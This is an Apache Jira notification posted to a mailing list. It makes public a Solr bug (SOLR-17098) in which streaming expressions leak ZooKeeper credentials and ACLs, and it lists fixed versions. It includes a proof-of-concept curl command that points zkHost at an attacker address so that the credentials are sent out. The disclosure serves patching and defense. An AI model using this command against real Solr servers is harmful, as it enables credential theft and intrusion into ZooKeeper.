You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@solr.apache.org by "Houston Putman (Jira)" <ji...@apache.org> on 2024/02/09 16:44:00 UTC
[jira] [Updated] (SOLR-17098) Zookeeper Credential Information Disclosure bug via Streaming Expressions
[ https://issues.apache.org/jira/browse/SOLR-17098?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Houston Putman updated SOLR-17098:
----------------------------------
Security: (was: Private (Security Issue))
> Zookeeper Credential Information Disclosure bug via Streaming Expressions
> -------------------------------------------------------------------------
>
> Key: SOLR-17098
> URL: https://issues.apache.org/jira/browse/SOLR-17098
> Project: Solr
> Issue Type: Bug
> Components: streaming expressions
> Reporter: Houston Putman
> Assignee: Houston Putman
> Priority: Blocker
> Fix For: 8.11.3, 9.4.1
>
> Attachments: SOLR-17098-1.diff, SOLR-17098.diff
>
>
> Security list thread: [https://lists.apache.org/thread/byrxkqk15mh6960wmx4r851srosgkvbh]
>
> ZK Credentials and ACLs can be exposed to any endpoint when the Streaming Handler is used:
>
> {{curl --data-urlencode 'expr=search(collection1,}}
> {{ zkHost="target:2121",}}
> {{ qt="/export",}}
> {{ q="*:*",}}
> {{ fl="id,a_s,a_i,a_f",}}
> {{ sort="a_f asc, a_i asc")' [http://localhost:8983/solr/demo/stream]}}
>
> In the command above, if the Solr instance has any Zookeeper Credentials or ACLs provided, then that information will be sent to the "target:2121" address. An attacker could set up a mock Zookeeper service to obtain the credentials, and then gain access to the Solr's Zookeeper Nodes.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
---------------------------------------------------------------------
To unsubscribe, e-mail: issues-unsubscribe@solr.apache.org
For additional commands, e-mail: issues-help@solr.apache.org